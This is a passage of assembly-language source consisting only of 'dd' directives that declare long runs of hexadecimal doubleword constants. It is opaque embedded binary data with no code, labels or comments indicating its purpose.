0EBE73FFFh, 0B0320507h, 18B09CD9h dd 35AAF19h, 128B7656h, 21E0A5C8h, 0BC03F26Ah, 3F8E08FDh dd 0FB6690CCh, 11E50F89h, 4AC086A6h, 88236528h, 85F84C00h dd 0DA9F6EACh, 823009A4h, 8F02D492h, 60C01B22h, 6D1F7C9Bh dd 807F28B9h, 0EC1E39EFh, 6D1BC7Dh, 0F37269C6h, 3106308Ah dd 0C3D44984h, 448B0210h, 45A36846h, 5F651040h, 245EA207h dd 0F82023F3h, 79C0BE1Fh, 6FDE004Ch, 0D7C74502h, 0BD39FB6Eh dd 7F3E0088h, 0A4BEC3F9h, 45670062h, 0FFE80614h, 8E0346E7h dd 3C51434Fh, 35E29032h, 61C10075h, 5F7EB91Fh, 0CC000305h dd 598D0CA0h, 1D505370h, 403B44BFh, 5163E47Ah, 260077A1h dd 3CB78FD9h, 0C0E368BBh, 6171AA18h, 14314F0Fh, 6F9A9140h dd 22C893h, 0CE5CD247h, 1200A203h, 0D60FA325h, 0A1CD54Ch dd 939B7C5Fh, 0D4820088h, 0B6A50C19h, 4C025960h, 7B3A861h dd 575BCF84h, 484F60ADh, 0A01DB9BBh, 0C140AF59h, 9338406Dh dd 0F0207EDh, 60804B54h, 0EB7EC820h, 85E4980Eh, 280A3E25h dd 7C0421h, 7D641E78h, 49E1DFBAh, 64534Ch, 819B6BB7h, 0EB8AC58h dd 0D378EA1Fh, 0DD3941C3h, 29004FC3h, 819A292Bh, 8567BAh dd 0BDA4D850h, 8B95EF9Dh, 0FF828E16h, 0D7BEAF01h, 0C0FADE0Eh dd 0E34747h, 79B42A87h, 9B20D27Bh, 8AA71400h, 1D778E93h dd 0C4AD047Dh, 806B6F23h, 5910D25Fh, 34857100h, 9F67ED50h dd 79744Eh, 0BB702196h, 192C3330h, 0A40ECAF4h, 20865CE9h dd 0AD97CD49h, 1E6678A9h, 12129DD0h, 411A07FCh, 0E05D17DDh dd 8A1A5B64h, 42C85E00h, 9438B126h, 0D2851663h, 8B4200BAh dd 0B4A7216Ch, 5FA07200h, 22A82611h, 7F870006h, 9FC5C619h dd 9D0013A2h, 0ACBB4A85h, 604EEEh, 0F8EC1224h, 889E6FB7h dd 16B8C748h, 0B0038BE4h, 0F02DE777h, 0BA6A08h, 512A9906h dd 974E32C3h, 5316600h, 73A6E3FBh, 6D691C0Eh, 7F0A007Dh dd 0CBD3BD34h, 4E0007E6h, 0EFBF51FDh, 79CF2C12h, 5CD8EA90h dd 720090F5h, 0F68404Fh, 9A772BB9h, 0FD2F4401h, 0DB8F214Ah dd 208092BAh, 52408603h, 6307BA24h, 0BBFCDEF0h, 4D9EFFE0h dd 0D88B00E6h, 4B9D28Ah, 581C8F0Ah, 15C07383h, 5499E4ACh dd 55E82DF4h, 6103B5F8h, 675CBB30h, 0D831E05Fh, 6B50011h dd 0AE57445Ah, 0F0A38D10h, 4A93EF88h, 0C014F948h, 88A7F0BAh dd 55590172h, 77D69694h, 31E0FCFAh, 5E6E0E00h, 1F28D11Bh dd 4729009Fh, 0FB7A4EDFh, 10907FF0h, 31BB0F0Eh, 0D341E766h dd 0A44E3700h, 0F4EC013Eh, 7544CD02h, 30E1D876h, 0B3386B00h dd 0CEB842EEh, 247E01E7h, 80BC676Fh, 0B633F0BDh, 1CA00400h dd 28617523h, 673F3A8Ch, 0E9F77880h, 0C472D7ECh, 8BDF931Fh dd 5DC19440h, 0B0DEB567h, 844900ECh, 55F5E46Ah, 911E019Ch dd 54C1B148h, 0D205AFC7h, 77BC824h, 0E5B3A273h, 96401017h dd 1500C847h, 0D86B1F99h, 0D2BEDFh, 9E4ED560h, 90F58597h dd 0B6344B00h, 495E1FFEh, 0CB0B00DEh, 451BDCF2h, 15006961h dd 0E9F9BFF7h, 0F8754197h, 0DF51022Ch, 0E8C2579Bh, 15D82460h dd 30F7C0Eh, 80F66092h, 3816C87h, 335E7408h, 0B6892912h dd 32F5D87Eh, 66982007h, 4DA09A67h, 894F57h, 6B64E52Eh dd 98C7CE12h, 0A4D97A62h, 0CB20007Fh, 177F6EEBh, 8FB84C01h dd 0A9495E1h, 16BAE8E4h, 6D7AF8h, 0BCE96FC8h, 250055FBh dd 0FC542F38h, 0B0A6F848h, 0AE810043h, 3337CB4Bh, 751D2471h dd 2B807D88h, 0DBCD9D91h, 57E40062h, 0CC57384h, 0D0010F0h dd 94CF746Ch, 0E031D9h, 5F809044h, 0ACCB3AE9h, 0EC531302h dd 801B513Bh, 0D98F1788h, 54FC57h, 11640832h, 996FE10h dd 0D30A3B00h, 75D6462Ah, 0F4B012h, 1D60C3CCh, 8496BEFDh dd 0F65FE200h, 0FC292D62h, 0CFEE1290h, 40001EEDh, 17B91B4h dd 0BF0EDF02h, 0E6307DB1h, 0E0F7E8h, 0B80FEE96h, 0BF74DA2Dh dd 0CBCC4E01h, 23E376E4h, 31044CEh, 2F333EA1h, 0CB0BB4Eh dd 8C7064Fh, 20B0FA45h, 77CEDAD9h, 1C850365h, 1DAEBD3Ah dd 0AF00ABB5h, 801AB327h, 42C78E9h, 341E3594h, 0C000EB66h dd 2EEAACCEh, 32BC0013h, 0DEE3F98Ah, 0D2009441h, 822FC6B4h dd 817201h, 99839F11h, 0C4036A9h, 0FBFAE104h, 9CC03A06h dd 944C7h, 0F8EF341Ah, 0E6B696E2h, 94A7AF04h, 0CE806742h dd 1548EAh, 0D9CA9AFFh, 0BAADF5B3h, 0E3B91300h, 930D8809h dd 1185581Ah, 5CB49D07h, 0AD865175h, 0BF6AD8C3h, 9200E6E0h dd 728A96A5h, 0F6764h, 0C98F7E99h, 6B7F2662h, 0FAF85300h dd 1255E6A9h, 2B840006h, 830D709Ch, 2D00EBD9h, 8CB22978h dd 658B0h, 3847C0F3h, 7FE903D3h, 40C4E001h, 58CA0E62h dd 641A20h, 0C81A7C90h, 0C7449D9h, 0E41084Ch, 53D6B9D4h dd 0BE3F9A00h, 776D0B0h, 0F725802Eh, 78C4A4Eh, 5187A36Dh dd 0FC9DB514h, 0A8B8845Dh, 5FCB7000h, 735C3E96h, 2981031Ch dd 0F8B506C0h, 1D84B6B0h, 0A2A38700h, 0F225B410h, 4F710030h dd 596C6EAEh, 0E101D40Eh, 17B98ABEh, 0B121695Ch, 7E219420h dd 67E90242h, 0FDC896CBh, 0BD5E4057h, 75DDEE1Fh, 1E78F0EEh dd 0C54C05h, 0A70BB286h, 7D166E59h, 4A07C645h, 0F7D03A9Bh dd 9929E1h, 0C9F953BEh, 0C2CC340Dh, 177F626h, 0E72B2C07h dd 40358DD2h, 0EE872804h, 0FAB91D8Bh, 0E022C019h, 91CAA8A3h dd 0CEA1260Ch, 0FED187Fh, 0A5B52976h, 0EE1E9A40h, 8701114Dh dd 85403A98h, 943033B6h, 0F95816D7h, 0C905C1BEh, 0C4E08CD0h dd 5321B4h, 4ACAF961h, 0BC3F2948h, 3B655E0Fh, 2390007Eh dd 1FF2F10Dh, 0B09D6E4h, 7080B4E6h, 0C0C4F5C2h, 15928300h dd 0FBAFB384h dd 2F981D76h, 287B406Ch, 0E23250F2h, 47A75A1Eh, 8CFA1440h dd 704310D1h, 0AA810FA3h, 0C220D767h, 529BBF0h, 0F1E6BF8h dd 0AD815DD2h, 18836099h, 0B098DD40h, 15D4F58Bh, 60A650FAh dd 0EDDF0046h, 71F053B3h, 69006E4Eh, 28C5391Bh, 3F3245Fh dd 84049673h, 0F7D066D7h, 0C5EAD6E2h, 3058C778h, 8FC09F28h dd 31B083D5h, 40636397h, 0C6A0E84Ah, 6C0E1A13h, 402B8AFDh dd 4376FC44h, 344F0005h, 747F29E4h, 48DE36C0h, 264E6240h dd 7C9E7A9h, 9B665247h, 0E667A08Ah, 0EC0F81A0h, 51DBA34h dd 0C840BE6Eh, 9B93406Bh, 4F3901F1h, 0A0605FEBh, 2C8020D1h dd 0D528910Fh, 8DF0A63Dh, 2F410140h, 8FA9FB67h, 0B4788030h dd 0C0780F13h, 0AE5C00FFh, 0A9201450h, 4500A298h, 0D7E04C02h dd 0C0D14A97h, 684E4359h, 0EE005758h, 3C6552A7h, 1B2F6498h dd 0D1554571h, 2EF181C0h, 3A6988A0h, 94563000h, 0CF52107Ch dd 6DA400CAh, 3DC7C2F5h, 0BC00AD04h, 8CF7D536h, 7F9ACB6h dd 376AE474h, 6E5340ABh, 2CF046D8h, 6EF3800h, 85A76035h dd 0D0750004h, 8E2234Eh, 9603D2AEh, 8F4CF7F4h, 5EDBA0F0h dd 404E01D4h, 0D1EE16FAh, 0D270CCDFh, 19E5591Eh, 6AC1671Fh dd 0F9DBEF3Eh, 0D98E5884h, 8D52109h, 281E6030h, 2CF948h dd 4ECA5345h, 430FCCD1h, 8B6FDE00h, 50393D75h, 25463D8Dh dd 458E5301h, 80F1F9CEh, 0CAF52888h, 7803492Eh, 3BEE5860h dd 41A6E300h, 0D99FD5FCh, 6C90CAF4h, 0BBD45F02h, 0E0B2195Eh dd 0B1D0B1h, 91CFAE30h, 849488B0h, 2824F430h, 56034Eh dd 1CA60EE9h, 0E429F2EDh, 0F0F79700h, 0F52EB9F3h, 3C50F5F9h dd 8AEE684h, 0CAEAA972h, 0EF9742h, 0F9192F4Ch, 380A2300h dd 39CF6772h, 0B0A0A362h, 0F807720h, 0D6F9DC5Ch, 9BA1BE80h dd 481E0568h, 90183A1Ah, 0A26C10h, 0E651768Dh, 0E7252C3Bh dd 0B6E49900h, 0FBD227C4h, 6A30348h, 6AAAC5DBh, 8740A2FAh dd 7C0F0777h, 85FB5D9Ch, 0C9801BDFh, 0BC893Bh, 96B58CA3h dd 639194B2h, 0D7E7E200h, 8F6CF829h, 0B84100CDh, 0F5F1BDA0h dd 5F009316h, 0A89E049Bh, 0D6889Dh, 0C3DDEB2Eh, 13642C36h dd 5A79F900h, 57A2C9C0h, 1D6379F4h, 80FC74A0h, 8A172F7Eh dd 361F6C81h, 0D0C1DA07h, 205C1C11h, 98C2C0h, 0D9DBF1A9h dd 28CEEB6Ch, 0CCAD391Fh, 1D749A00h, 6DFD20h, 0EB3022Eh dd 5B475D38h, 9AB07F00h, 52AFA56Bh, 1A2032Dh, 0AE3D9521h dd 0D54AD890h, 0DE096572h, 0E7FEE8h, 2B93994Ch, 90BC707Dh dd 33C8026Bh, 0C9A59067h, 91136160h, 776C2B0Eh, 7909E10Fh dd 444BC324h, 3BC026C8h, 3C34C122h, 3F8D625h, 0D797F0FBh dd 7050B908h, 4F00B735h, 239C8DDh, 1E8945Fh, 2A2C17DBh dd 87B17F5Dh, 0B40AD28h, 14F46390h, 0CF4C054Ah, 8037A05Ch dd 0CDBB24A4h, 3CD62E00h, 0D02C9A15h, 87860080h, 25F0DABCh dd 0A203E03Fh, 0D73E7899h, 6B0C9095h, 4E312C66h, 29E500F0h dd 3238EC18h, 592F9600h, 0FAE4F44Dh, 0BDD40095h, 673F421Bh dd 0BF0E99D9h, 0A054B65Ch, 666FACBh, 0FD731F47h, 859B4060h dd 30C73B7Dh, 1189D700h, 2736EEB9h, 45E9009Eh, 0D1DAB87h dd 69390C24h, 89A9814Dh, 1EB230C4h, 0EDEBA0CFh, 9DFE3A04h dd 0E48CA100h, 0E67FD1F4h, 3D03F078h, 18A5EAEBh, 86D5E0F7h dd 9CF80061h, 0A046B40Eh, 751CA93Dh, 1A80E1E8h, 0ED8987D4h dd 412F0022h, 83CC91F8h, 5D0CA04Ah, 509CA1F2h, 142A1C31h dd 0F018016Dh, 80EECAB4h, 0ACF8A689h, 183DD40Fh, 309F3AE4h dd 7200D507h, 25C2362Dh, 0E48F12AAh, 28FA0C01h, 0B789B06Dh dd 436B730Fh, 51AC6080h, 6A332Fh, 0CBAD3EB4h, 9B55EC39h dd 0F0E50603h, 1E4BF04h, 30AA0FE0h, 8CA6B2E2h, 0F9980E48h dd 0CE851503h, 5D068CA5h, 0A9F70DB0h, 9B818919h, 40F59718h dd 7200BE8h, 7DE73FE5h, 8E24CAF3h, 380039D3h, 0A59CF7CBh dd 0A618E77Ch, 3D402176h, 0FA2331B2h, 0BAE90159h, 0AC2F0270h dd 3DADC7h, 552A7152h, 0F6467A00h, 0EAFF2B22h, 0F89E000Dh dd 1F2673C9h, 21703442h, 0A1EFC402h, 0A194F3C8h, 0FB233AA0h dd 3715C9BEh, 1161C4F5h, 7D4F76Eh, 890BE6h, 7665B129h dd 0B28C44C4h, 0FFF9AD00h, 0D22854DCh, 92E71203h, 1F1C609Dh dd 0C30731CAh, 1F0A81Bh, 80400715h, 0E94F8E77h, 30B715Fh dd 9CE337D4h, 78A79E39h, 80212E26h, 6E7A5001h, 8448CC78h dd 20C206D4h, 300D6599h, 0D44F1028h, 0A2FCB354h, 39064907h dd 0BAF03197h, 54960Fh, 94919AA9h, 3B9F2974h, 30EECB24h dd 0BC2A481Fh, 4C49E724h, 401D4207h, 66906B56h, 0D9287916h dd 0C8083D00h, 0B7603152h, 72800068h, 65AD7A1Dh, 0C90F1EDEh dd 0D48C213Ah, 5EA100ECh, 79345F81h, 1D5B00F7h, 7611CD23h dd 12129672h, 3C00CE53h, 8C85E201h, 0D1740F67h, 0A2717E3h dd 4EBE633Bh, 0C144852h, 0E84B6B34h, 0C8A749E4h, 0DC944F00h dd 260F1A5Dh, 0C341D707h, 0A9C14B30h, 0BC50529Ch, 141E443Eh dd 9CF9B8BEh, 487CE718h, 0B8AA59B2h, 3A188814h, 0C8F9C5D5h dd 0EB49C465h, 4B248064h, 9E31BE2Ch, 0EAEE389Bh, 0F041B312h dd 94B09259h, 0FF0D0803h, 3F210F2Bh, 9B600F42h, 0F1A03EABh dd 0B6078071h, 6B9C701Dh, 0FCACF671h, 0A1799098h, 33414B20h dd 983A5185h, 5DB04FC1h, 4A880AA1h, 5A90F0F4h, 0CEB1B24h dd 0B9443C83h, 9AC108E8h, 3A059CA2h, 0E827F02Ch, 4C18F886h dd 0EE8048E4h, 8005AF69h, 0E0887933h, 0C8782490h, 0D001BCA0h dd 5CBCAEA6h, 188813Eh, 4E90E08Dh, 3080A9BDh, 0F873DB16h dd 2801F334h, 0B40FC213h, 799EE62Ch, 9FA84018h, 77B078A9h dd 0BA05B2F4h, 14290CFh, 0A084C840h, 28B13D86h, 77EA5CE2h dd 0FB93005Dh, 75A5F65h, 104D233Eh, 1D942290h, 0C0D7366Eh dd 5A61B2F5h, 0B524BBAEh, 0E1DF43Ch, 218094A4h, 0CA6B05F4h dd 0CFEF016Eh, 475CE4B2h, 0A478529Dh, 0F1C5F820h, 2A4A000Fh dd 382671D5h, 8D006F45h, 220DE8A9h, 7BB98A3h, 0E3D833B8h dd 0E34AAB4h, 1301C0h, 0C5A5B5BEh, 5B000228h, 0D6F1DF0h dd 0F5C3B0A1h, 263A6030h, 40B0D41Fh, 52D5D1FCh, 13804C49h dd 4C40ECE0h, 87C829F8h, 50A000Bh, 7AFCA899h, 9C1E3CB9h dd 465C4A84h, 9F611FC2h, 579C485Ah, 80F493ECh, 7D1DE89Bh dd 0D860DB4Ch, 98BA6EE9h, 0DE6658D9h, 7F5CEA0Fh, 2118BB47h dd 2268B3FEh, 328B00D8h, 0A1097ADh, 0B91E0CA7h, 0CCA8F348h dd 0B01670B2h, 0A8218551h, 0C500EEDAh, 0DD008214h, 0D6345AC2h dd 0E3443Fh, 0F124CA19h, 0F37F2597h, 7A39A143h, 40ED161Ch dd 5085AB73h, 0AD392055h, 931289D8h, 208896Fh, 249F8EDCh dd 0AC05DF2h, 0DFA85715h, 0D4F55934h, 0CF33C09Dh, 41DBDE35h dd 0C1B2DF03h, 0A8FB0229h, 0B2B8C93Ah, 31A26080h, 847DD68Ch dd 2D26907h, 1A40C52Fh, 48FD7C81h, 0A0023D7h, 533D015Ch dd 94A8D39Bh, 0A801F449h, 3ADEE69Eh, 0F054CA70h, 0BDA6AC90h dd 4B61C0BFh, 0BBF2C13Eh, 0F3C31F1Dh, 0EB89CC64h, 28648D10h dd 361C7C27h, 4D838145h, 0FA239B51h, 3BB464E0h, 69F12A34h dd 0C5BDE881h, 44D610F1h, 0F02D05E0h, 81E77Bh, 2E560D94h dd 611E8751h, 0D414D503h, 0A408034h, 71FBE3AEh, 0DA67319Ch dd 1793E450h, 0C386B393h, 4E1918BEh, 91D658C3h, 77DD9603h dd 0A8A150A0h, 4BF353h, 5FE62BFEh, 0E8AAB3AEh, 9498F826h dd 20349E8Fh, 0E25D72C2h dd 8670B10Fh, 60989BC8h, 80A8EB4Dh, 0ABBE2E78h, 7C4600F2h dd 6D49CA62h, 760BAADAh, 0A8ED1F8Fh, 2060E440h, 6CB2B8h dd 310313D1h, 5E532E12h, 4D2A27Eh, 64E4BC22h, 8A750E98h dd 0FD6CDD5Eh, 3505B281h, 0CBD873B0h, 0F372F441h, 902280B1h dd 2988DF03h, 0DAD0CA56h, 0AAFEC228h, 3A17E092h, 9853B32Ah dd 0D0D6DC30h, 60C41E29h, 4B4040AAh, 28CAC78Ch, 0A4F7FB01h dd 0D0480245h, 44B06180h, 8376A84Eh, 0A6D4F150h, 8427D82Eh dd 842AA986h, 0AD6B0519h, 0C8DD2690h, 4820CA30h, 0BC995233h dd 5FF1E405h, 88DC8886h, 380FFA7Dh, 1080C75h, 77E6B3E3h dd 763A8040h, 12D8BA3Ch, 5DA968C8h, 41D0AE14h, 0C0B0C07Fh dd 23391299h, 59C0FE6Eh, 4813503h, 0D3C10128h, 1ED46D30h dd 0A8B8439Ah, 69A54900h, 0E6F8B4A6h, 96DC00F9h, 6FC8D79Eh dd 5519C4Eh, 1280DC98h, 0D818D4B9h, 28FB79h, 0E8E6D3Fh dd 3A83252Ah, 33658900h, 0D045C55h, 0B4E84CDDh, 448CF62Ch dd 0FEB131F3h, 0F01CC217h, 88090CEh, 2A02CF69h, 0CE98B159h dd 4C4C4E1h, 0F5144278h, 0E8C9036h, 0EF03635Bh, 5DE76BA6h dd 4234E092h, 0E6A4A29Ch, 75030030h, 0EC0EC21h, 4A00452Dh dd 0F80AD0B0h, 0F6AFF5C1h, 0A018900Dh, 0C447C2Ch, 35FFB280h dd 5A003969h, 0BE664DB8h, 134AF38Bh, 619D15E6h, 7093FDBCh dd 51007FEDh, 2FFE0989h, 75B6F25Dh, 0BA94F277h, 1A5000F4h dd 5E9B6F18h, 8B490FBBh, 0F55D14A0h, 0B2178094h, 127FCEh dd 7D8267BAh, 0EA2D1832h, 0D280C4B3h, 0C47E05EFh, 68301D64h dd 0E5F39450h, 51F91632h, 87E89BC0h, 5A685401h, 79D16667h dd 5455F824h, 2044CCD7h, 0E099212Eh, 825ED080h, 203E433h dd 6D7E2530h, 0EC84F55Fh, 0CC388804h, 3F428900h, 8DC6B672h dd 0E25F248Eh, 0D8B78E84h, 98042690h, 0AA1FB540h, 15DF124Ah dd 0C402EF12h, 0E4615FB8h, 93C3005Ch, 1545567Bh, 4D00A41Ch dd 6DEEF57h, 4D6FD9C0h, 4B128437h, 48660F13h, 0FC810FC9h dd 0BDF5273Ah, 4086299h, 71D0A0C0h, 22AD0Eh, 0B259A2ACh dd 0A74C957h, 0D95A020Bh, 0B188005h, 0A2B576ADh, 1ED8CC80h dd 687151C2h, 0A93317CAh, 686054F0h, 8200511h, 3BD4AB9Ah dd 6C003925h, 0EFBE7A5Ch, 56A8F109h, 1631801Eh, 1942F61h dd 8D77DA19h, 94C41FB2h, 80DCCBD0h, 1B0EDFB3h, 242A005Fh dd 0B7BB992Bh, 4C02CB48h, 0E93E269Bh, 0A6A8539Dh, 4B413024h dd 7B1F2367h, 8AC01984h, 420F73B3h, 0B5A3023Ch, 9866E61Ah dd 73403h, 1EBD4BF1h, 4F2F9358h, 0EBA25615h, 0A85911E4h dd 3200C448h, 5223CD95h, 14549348h, 0AA00D480h, 928C13A8h dd 3AD764h, 0F395020Bh, 0E06AC091h, 0E8C70E3h, 1C17B4B1h dd 0F70300BFh, 248828A8h, 0B8B1201h, 51A68FAFh, 8C5DF028h dd 0AC3E1D80h, 0E5248452h, 406F744Ah, 828DC2D3h, 60BB0757h dd 90810ACEh, 0D76E95C8h, 0D8E97624h, 5181A7E0h, 5BCA0E7Ch dd 0C88076DBh, 6CA90271h, 74541124h, 8C902944h, 83959Bh dd 0B4F178C7h, 7F286107h, 0E699900h, 4903125Ch, 0FDBE3241h dd 0F920A7B0h, 7C8D4C64h, 0E0E3009Fh, 2C8BFC6Dh, 534EE432h dd 0C07BCC0Ah, 0F6778440h, 1584999Ah, 2C08C010h, 3C283346h dd 2A033084h, 2F5EC4E8h, 128FA023h, 851E0AC7h, 29CC1789h dd 61B39254h, 7557A68Ch, 3FBC26C0h, 7ABB83DAh, 0FCD8F40Ah dd 1481CCC4h, 5E08A1A5h, 0D049E268h, 1528C8C9h, 0C4AC0018h dd 0AD5BCE6Ah, 200E22F1h, 387B422Eh, 0C0BC0E38h, 0E22DD279h dd 1C131076h, 24C2FF68h, 7DF28A5Dh, 9ED6093Bh, 0DE7C40B1h dd 6EC880B0h, 21C33E20h, 3C2E2C3Ah, 0D6C5E240h, 182100A6h dd 28BF80B0h, 0D8E48138h, 0C2694EF0h, 13408588h, 0AC00708Ah dd 0E4666215h, 4EEC2923h, 0A047D900h, 3118E072h, 0F0C76EE1h dd 0C4D600B1h, 5A8FD8CBh, 77AC0F01h, 353CCF2h, 0D922B250h dd 0D109597Eh, 541348h, 6ACE5E1Dh, 42C09E98h, 0D0A0A304h dd 3ECF638Ch, 8466DB03h, 1047A910h, 824165F9h, 3B215332h dd 60934FD8h, 9BFAB574h, 0C1DE2F00h, 61A3245Bh, 345A4464h dd 0B284BCB3h, 88F32E28h, 0F4C8BD01h, 70264354h, 30C3B578h dd 0B821EB2h, 0CFEEA629h, 0DE4B80A2h, 0A8B4A486h, 0AB606498h dd 27A2CE61h, 0C5012864h, 284200F1h, 0A9B38B82h, 89C4A802h dd 88A6EA93h, 58104100h, 9A7F3A60h, 0D4D0FA13h, 480FC95h dd 1866D143h, 9190C7FEh, 3101F9B7h, 6E0CAC62h, 0B0491B41h dd 9041BDC7h, 0A6A50FDFh, 1687F8h, 0A344A437h, 0E0B1B28Ch dd 11FC6502h, 0D19B9EAFh, 436B9D34h, 0B6B05B3Eh, 0A2598002h dd 0B43DAB51h, 0B2048084h, 52C910Dh, 0AC4D01h, 142A7370h dd 0BE0426AEh, 2D99575Dh, 54DC2CA0h, 0FBEC3Ah, 51F35AD9h dd 1DDB86C4h, 5FF71100h, 36A3A22h, 0D2515FBh, 0A11D80FFh dd 0F51E4001h, 13D96638h, 3F7F44Ch, 0F50026Ah, 74D053ACh dd 1D6812Eh, 3418B459h, 0F37B30A7h, 6BBCA800h, 0EA2BBD7h dd 2CB299h, 0FDDB62FEh, 35632D48h, 87B1AA3Eh, 0C05A0193h dd 0C81467A2h, 168F73C8h, 5448536Fh, 7A002468h, 744E2077h dd 355C2DCh, 3A8C70CCh, 286B0926h, 4155990h, 61008055h dd 8F39815h, 5100600Dh, 38B9744Fh, 6A94D342h, 60C4C8DDh dd 0A738983h, 2A10403h, 8A4BDCD9h, 12C44E6h, 6729ECA4h dd 0DCA38096h, 5C1FE556h, 8906A688h, 3A20BBCBh, 61805862h dd 5638FB4h, 0D401BC3Eh, 0E96F0114h, 30807D64h, 4D87DF29h dd 6E6770D1h, 318A718h, 838BFD1Ah, 0C6E443E8h, 42715300h dd 0CE79A412h, 3E621836h, 5A768F2h, 0FC004B70h, 0F392A9B5h dd 7397CDE6h, 0CEAFE35h, 5B52FBA7h, 0E018DB58h, 35386821h dd 0CF200BAh, 3301C6D9h, 523BE90Bh, 20C1F434h, 6104FCC7h dd 0B03D3880h, 1AF77D3Bh, 307C58B7h, 46290B2Fh, 396E095Ch dd 19796DB9h, 0DDEACCE0h, 305003D2h, 180CE859h, 2065A09Ch dd 0DA6E02ECh, 71885B23h, 0D9298081h, 90418014h, 0A579075Ch dd 8E9A0E0Ah, 26A42B3h, 315206C0h, 9C282917h, 0B9F828C7h dd 0D4D84CA3h, 2C7E7F1Fh, 462A420Fh, 29B19FEBh, 1D28231h dd 5053B9BAh, 0C1306990h, 0EA3D6D1Eh, 0C47AAE40h, 2EAC719Eh dd 22B9432Ah, 0ECE1C0A8h, 691A34A5h, 827CB0Bh, 9C548120h dd 21850DC2h, 2776A854h, 113C088h, 29C756EBh, 1FB1400Dh dd 20813476h, 200A576Ch, 95A440EAh, 13883A4Eh, 118927Eh dd 1BE52D78h, 0E403801Dh, 42035445h, 5546FBC0h, 0B330390Bh dd 3AC42880h, 5BF2FABAh, 31E2493Ch, 273E2034h, 0D3372981h dd 0CBE43F92h, 89481830h, 0F3CB6Eh, 0A1DA8FBh, 0C467B54Dh dd 6659ACA8h, 0DD17500h, 0BFE24457h, 43A10E1Bh, 3180C706h dd 88B95DDh, 0CC5B50CAh, 6C31580h, 9E11FDCh, 3D0A47DEh dd 94B5302Eh, 40B6361Eh, 0AF92FDFBh, 0E0639D08h, 0A157A118h dd 0F45465B8h, 9F09181Eh, 0C2B801A5h, 0B9805143h, 856AD4F4h dd 0EE03FFBCh, 8E26C61Fh, 0F8DEE88Fh, 0F5D912A5h, 59341974h dd 0D8FC48FBh, 0CA732407h, 0C6907876h, 23DA454h, 0C9D29DB6h dd 1C418113h, 14899F4Bh, 504932A1h, 0FC059120h, 0C4AE09CFh dd 680A64Ah, 0E01D6C77h, 33D8E101h, 602E9EDBh, 0DD5E8041h dd 0A70A4C22h, 83983FCEh, 4DD421CCh, 2309F3B8h, 39A88954h dd 143A40h, 5AB9A49Ah, 2F7C930Bh, 7DEC801Ch, 11FD3800h dd 0A09C5B89h, 0A8C364D8h dd 624BDCh, 4F77838Ch, 2E0CC7E8h, 0D4F6AA0Eh, 5F34C057h dd 1DF2F5E2h, 217741h, 0CE5B04E1h, 703FC2Eh, 737F40C2h dd 0E2080770h, 407C09CCh, 4D53A42Ch, 7E93E818h, 356E118h dd 6641F580h, 7FA0B84Ch, 6A005EBBh, 7A781BA4h, 0F8F17370h dd 54FB245Fh, 81CC1FFEh, 0BE83BA2Fh, 46498087h, 9F34173Fh dd 8D2600ADh, 6B3DCB40h, 0A0C785EFh, 0E3F6FD86h, 60F17C60h dd 2A78983Ah, 8A00D476h, 9E95F89Fh, 7899454Fh, 0E1A40EF2h dd 0F3DA3B1h, 1B807ACCh, 52FB702h, 2A9A4D1Ch, 60F2F7C0h dd 7B102943h, 0DE5C18FFh, 3BB89037h, 0C4108C0h, 68083Fh dd 1CAFE98h, 0F360A84Ah, 0EE3EAA00h, 0F505CB5Bh, 6880F3B8h dd 8BDBEA41h, 0CE0C04E8h, 4871B762h, 2CB0C0BCh, 91D5AA31h dd 1F3D880Ch, 1B9D0BDh, 68AB2EF2h, 0C0AA2FA1h, 21281DDEh dd 6630D029h, 4F9F932h, 0E8FF3B6Bh, 6336400h, 0E7B1BBB4h dd 0BF18DF00h, 3651C4D5h, 0E00086E2h, 0BB66C261h, 0C03D5DDAh dd 76B754CCh, 491594A3h, 8B0DC21h, 6F5B6B8h, 41A1DE73h dd 84A806F6h, 3004671h, 284750A6h, 1081511h, 0C63574F9h dd 847B41BBh, 1894B848h, 32DA4D00h, 6F023052h, 0D97DA428h dd 8A02409Ch, 0D0B52686h, 0C1870081h, 0C0951EC5h, 99B4D41Dh dd 7C5F073Ch, 4A702DD7h, 7C4881C2h, 1E24009Fh, 5404C9A0h dd 763C3AE5h, 0A1617C1Dh, 40F8D918h, 0B2B71082h, 2740DF27h dd 0BD3C05F0h, 0ECDD0B24h, 0DA6A8026h, 0F0D93242h, 2CE6008Ch dd 0C0A27405h, 0BC60F156h, 0FE56A90h, 50536FE8h, 9828D686h dd 0F1118AF9h, 420A14EDh, 0E0404481h, 795DFAA4h, 60AF6083h dd 7EF8AC6h, 0DF5180F7h, 0F2F4EF9h, 2B8C454h, 0C6E021Bh dd 0F3B8C01Fh, 0B388A127h, 0FFD05A10h, 0CAF2F00Fh, 162E41A1h dd 50856636h, 62CCE0h, 6391C590h, 403DE23Ch, 0C2D783D5h dd 0C41F6Bh, 42DEEBB8h, 18660C54h, 0D1836Fh, 0D7782C2Ah dd 0B8160793h, 0D3BC5215h, 179989AEh, 80E9BDE5h, 5F808635h dd 166E148h, 3A9E347Ah, 98DA1BE0h, 68E04D88h, 0D038DFC3h dd 30720088h, 3833D715h, 4C100066h, 0C0D65EB3h, 0A600C387h dd 92B4CAA1h, 501A6139h, 74B8445h, 0EE63D1BCh, 7D0820E5h dd 5A02E4BAh, 0E1E91FC7h, 37263C2h, 69FAA999h, 94D8F96Fh dd 0F2145790h, 0E8761Eh, 0FE1232A5h, 0E88D62D2h, 40B432A8h dd 0F4901798h, 0CD0F5EEEh, 409B0D81h, 969FDA24h, 40A460F5h dd 0FED90374h, 2505F472h, 0E6B26B2Ah, 0B3E5A802h, 0D4F88859h dd 3F20551Dh, 2300DAA5h, 44E64878h, 61247C22h, 0BC4CCFh dd 81A7C724h, 0D0B1C2h, 0D23033D1h, 43F2D6F8h, 8E5EB71Ch dd 0C40AA92h, 0E8FD4C2Dh, 0DA38001Fh, 5AFA1EFBh, 0A73E924Fh dd 9B1E7440h, 0B80359CFh, 6177D5FDh, 85C71831h, 100693h dd 0C02BDFD8h, 0AA5C60ADh, 230F1218h, 0C1EF9E28h, 13BAE041h dd 4882071Ah, 0C37210A1h, 0C1E7FF18h, 602DB360h, 50611826h dd 7B60922Ah, 749BC810h, 4040C7F4h, 0D3712005h, 4B0F6567h dd 60ABFF91h, 4A46FACFh, 0A2160064h, 0F7EC0420h, 0DB009EF0h dd 0B6A6D1Dh, 0E34252Bh, 9289E4EBh, 0D43DAE40h, 0D5F0E739h dd 79C5AB17h, 9A02E1B8h, 8D1DF0EEh, 0D01CAAE1h, 1800B732h dd 7B17D7E0h, 7AAFCh, 34EA8AC0h, 